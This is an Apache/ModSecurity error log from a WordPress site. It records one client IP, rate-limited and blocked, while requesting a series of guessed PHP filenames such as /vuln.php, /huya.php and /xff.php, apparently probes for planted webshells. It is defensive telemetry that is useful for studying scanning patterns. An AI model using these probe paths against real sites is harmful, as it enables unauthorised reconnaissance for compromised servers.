[Tue Apr 28 06:24:04.491326 2026] [:error] [pid 14578:tid 14623] [client 4.232.90.232:62126] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sl.php"] [unique_id "ae_iBOngo3AwIJgfSHELsgAAAEo"]
[Tue Apr 28 06:24:05.047682 2026] [:error] [pid 14686:tid 14699] [client 4.232.90.232:12428] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "ae_iBe-YPF1Xm7uiWQ4yDgAAAMo"]
[Tue Apr 28 06:24:05.592346 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:11517] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "ae_iBengo3AwIJgfSHELtgAAAFQ"]
[Tue Apr 28 06:24:06.355434 2026] [:error] [pid 6746:tid 6758] [client 4.232.90.232:11486] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "ae_iBruStsbXtMDpzS-Z-wAAAUo"]
[Tue Apr 28 06:24:06.997428 2026] [:error] [pid 14578:tid 14630] [client 4.232.90.232:18336] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vuln.php"] [unique_id "ae_iBungo3AwIJgfSHELuQAAAFE"]
[Tue Apr 28 06:24:07.594583 2026] [:error] [pid 14578:tid 14613] [client 4.232.90.232:61344] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "ae_iB-ngo3AwIJgfSHELvQAAAEA"]
[Tue Apr 28 06:24:08.188528 2026] [:error] [pid 6746:tid 6748] [client 4.232.90.232:23376] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "ae_iCLuStsbXtMDpzS-Z_AAAAUA"]
[Tue Apr 28 06:24:08.896835 2026] [:error] [pid 56602:tid 56611] [client 4.232.90.232:42309] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "ae_iCPCwhMxzNW_lZSw4vAAAAQc"]
[Tue Apr 28 06:24:09.565746 2026] [:error] [pid 14577:tid 14590] [client 4.232.90.232:8154] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-temp.php"] [unique_id "ae_iCSzBH-jwzlgiBdG4VQAAAAQ"]
[Tue Apr 28 06:24:10.331291 2026] [:error] [pid 14686:tid 14713] [client 4.232.90.232:61336] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae_iCu-YPF1Xm7uiWQ4yGQAAANg"]
[Tue Apr 28 06:24:11.224642 2026] [:error] [pid 14579:tid 14663] [client 4.232.90.232:23366] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae_iCxrUiOG83qKKuuDzywAAAJc"]
[Tue Apr 28 06:24:12.005685 2026] [:error] [pid 14579:tid 14649] [client 4.232.90.232:12465] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae_iDBrUiOG83qKKuuDz0AAAAIk"]
[Tue Apr 28 06:24:12.856567 2026] [:error] [pid 14579:tid 14658] [client 4.232.90.232:61367] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae_iDBrUiOG83qKKuuDz0wAAAJI"]
[Tue Apr 28 06:24:13.808391 2026] [:error] [pid 14579:tid 14647] [client 4.232.90.232:42342] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae_iDRrUiOG83qKKuuDz1QAAAIc"]
[Tue Apr 28 06:24:14.671327 2026] [:error] [pid 14577:tid 14607] [client 4.232.90.232:11488] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae_iDizBH-jwzlgiBdG4XAAAABU"]
[Tue Apr 28 06:24:15.272074 2026] [:error] [pid 14578:tid 14622] [client 4.232.90.232:8181] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae_iD-ngo3AwIJgfSHELwgAAAEk"]
[Tue Apr 28 06:24:16.016268 2026] [:error] [pid 14579:tid 14640] [client 4.232.90.232:33821] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae_iEBrUiOG83qKKuuDz1wAAAIA"]
[Tue Apr 28 06:24:44.727453 2026] [autoindex:error] [pid 14578:tid 14613] [client 4.232.90.232:12439] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 28 06:24:50.058912 2026] [:error] [pid 14577:tid 14607] [client 4.232.90.232:23378] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "ae_iMizBH-jwzlgiBdG4iwAAABU"]
[Tue Apr 28 06:24:51.365313 2026] [:error] [pid 56602:tid 56607] [client 4.232.90.232:7362] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "ae_iM_CwhMxzNW_lZSw4-gAAAQM"]
[Tue Apr 28 06:24:52.011987 2026] [:error] [pid 56602:tid 56617] [client 4.232.90.232:11465] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "ae_iNPCwhMxzNW_lZSw4_gAAAQ0"]
[Tue Apr 28 06:24:53.049189 2026] [:error] [pid 6746:tid 6755] [client 4.232.90.232:8156] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/huya.php"] [unique_id "ae_iNbuStsbXtMDpzS-aHQAAAUc"]
[Tue Apr 28 06:24:53.813697 2026] [:error] [pid 6746:tid 6757] [client 4.232.90.232:8158] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "ae_iNbuStsbXtMDpzS-aHgAAAUk"]
[Tue Apr 28 06:24:54.948803 2026] [:error] [pid 14577:tid 14599] [client 4.232.90.232:7403] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "ae_iNizBH-jwzlgiBdG4jgAAAA0"]
[Tue Apr 28 06:24:55.603118 2026] [:error] [pid 14577:tid 14590] [client 4.232.90.232:11509] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "ae_iNyzBH-jwzlgiBdG4kgAAAAQ"]
[Tue Apr 28 06:24:56.523609 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:18315] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/puc.php"] [unique_id "ae_iOOngo3AwIJgfSHEL8QAAAFQ"]
[Tue Apr 28 06:25:00.179907 2026] [:error] [pid 14579:tid 14641] [client 4.232.90.232:63367] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "ae_iPBrUiOG83qKKuuDz6AAAAIE"]
[Tue Apr 28 06:25:00.925974 2026] [:error] [pid 14579:tid 14654] [client 4.232.90.232:15570] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "ae_iPBrUiOG83qKKuuDz6QAAAI4"]
[Tue Apr 28 06:25:02.944864 2026] [:error] [pid 6746:tid 6754] [client 4.232.90.232:8113] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "ae_iPruStsbXtMDpzS-aKQAAAUY"]
[Tue Apr 28 06:25:04.695556 2026] [:error] [pid 14579:tid 14660] [client 4.232.90.232:36438] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/themes.php"] [unique_id "ae_iQBrUiOG83qKKuuDz8QAAAJQ"]
[Tue Apr 28 06:25:06.087800 2026] [:error] [pid 14578:tid 14614] [client 4.232.90.232:13217] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "ae_iQungo3AwIJgfSHEMDAAAAEE"]
[Tue Apr 28 06:25:07.509284 2026] [:error] [pid 56602:tid 56617] [client 4.232.90.232:19503] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "ae_iQ_CwhMxzNW_lZSw5TgAAAQ0"]
[Tue Apr 28 06:25:09.253559 2026] [:error] [pid 14578:tid 14613] [client 4.232.90.232:16026] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "ae_iRengo3AwIJgfSHEMKgAAAEA"]
[Tue Apr 28 06:25:10.445520 2026] [:error] [pid 14578:tid 14614] [client 4.232.90.232:13559] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ewp.php"] [unique_id "ae_iRungo3AwIJgfSHEMMAAAAEE"]
[Tue Apr 28 06:25:11.956041 2026] [:error] [pid 14579:tid 14653] [client 4.232.90.232:22693] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "ae_iRxrUiOG83qKKuuD0BAAAAI0"]
[Tue Apr 28 06:25:12.693714 2026] [:error] [pid 6746:tid 6764] [client 4.232.90.232:18406] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "ae_iSLuStsbXtMDpzS-aRAAAAVA"]
[Tue Apr 28 06:25:13.806489 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:11311] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "ae_iSengo3AwIJgfSHEMOwAAAFQ"]
[Tue Apr 28 06:25:14.676542 2026] [:error] [pid 14578:tid 14621] [client 4.232.90.232:19486] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "ae_iSungo3AwIJgfSHEMQAAAAEg"]
[Tue Apr 28 06:25:15.525738 2026] [:error] [pid 6746:tid 6755] [client 4.232.90.232:11291] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "ae_iS7uStsbXtMDpzS-aTwAAAUc"]
[Tue Apr 28 06:25:16.734359 2026] [:error] [pid 14686:tid 14693] [client 4.232.90.232:11752] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "ae_iTO-YPF1Xm7uiWQ4yXAAAAMQ"]
[Tue Apr 28 06:25:17.840623 2026] [:error] [pid 14579:tid 14657] [client 4.232.90.232:13046] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "ae_iTRrUiOG83qKKuuD0CgAAAJE"]
[Tue Apr 28 06:25:19.737347 2026] [:error] [pid 6746:tid 6768] [client 4.232.90.232:18113] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "ae_iT7uStsbXtMDpzS-aWQAAAVQ"]
[Tue Apr 28 06:25:22.018603 2026] [:error] [pid 14577:tid 14609] [client 4.232.90.232:18395] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ae_iUizBH-jwzlgiBdG4sQAAABc"]
[Tue Apr 28 06:25:22.785339 2026] [:error] [pid 14577:tid 14597] [client 4.232.90.232:13030] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ae_iUizBH-jwzlgiBdG4tgAAAAs"]
[Tue Apr 28 06:25:24.123708 2026] [:error] [pid 14578:tid 14616] [client 4.232.90.232:11866] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ae_iVOngo3AwIJgfSHEMdgAAAEM"]
[Tue Apr 28 06:25:25.687650 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:11264] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "ae_iVengo3AwIJgfSHEMeAAAAFQ"]
[Tue Apr 28 06:25:26.551439 2026] [:error] [pid 14578:tid 14615] [client 4.232.90.232:11858] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "ae_iVungo3AwIJgfSHEMewAAAEI"]
[Tue Apr 28 06:25:30.108620 2026] [:error] [pid 56602:tid 56605] [client 4.232.90.232:41438] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "ae_iWvCwhMxzNW_lZSw5egAAAQE"]
[Tue Apr 28 06:25:31.395467 2026] [:error] [pid 56602:tid 56616] [client 4.232.90.232:18400] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "ae_iW_CwhMxzNW_lZSw5hQAAAQw"]
[Tue Apr 28 06:25:32.607168 2026] [:error] [pid 6746:tid 6767] [client 4.232.90.232:11755] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "ae_iXLuStsbXtMDpzS-aZgAAAVM"]
[Tue Apr 28 06:25:33.283421 2026] [:error] [pid 14579:tid 14640] [client 4.232.90.232:11849] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "ae_iXRrUiOG83qKKuuD0PAAAAIA"]
[Tue Apr 28 06:25:33.893300 2026] [:error] [pid 14577:tid 14593] [client 4.232.90.232:13000] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "ae_iXSzBH-jwzlgiBdG4vAAAAAc"]
[Tue Apr 28 06:25:35.016818 2026] [:error] [pid 14578:tid 14637] [client 4.232.90.232:19507] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "ae_iX-ngo3AwIJgfSHEMxgAAAFg"]
[Tue Apr 28 06:25:35.981114 2026] [:error] [pid 14578:tid 14619] [client 4.232.90.232:41435] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "ae_iX-ngo3AwIJgfSHEMzwAAAEY"]
[Tue Apr 28 06:25:37.147530 2026] [:error] [pid 14686:tid 14700] [client 4.232.90.232:13042] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "ae_iYe-YPF1Xm7uiWQ4ylgAAAMs"]
[Tue Apr 28 06:25:38.504704 2026] [:error] [pid 14577:tid 14592] [client 4.232.90.232:11764] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "ae_iYizBH-jwzlgiBdG4wgAAAAY"]
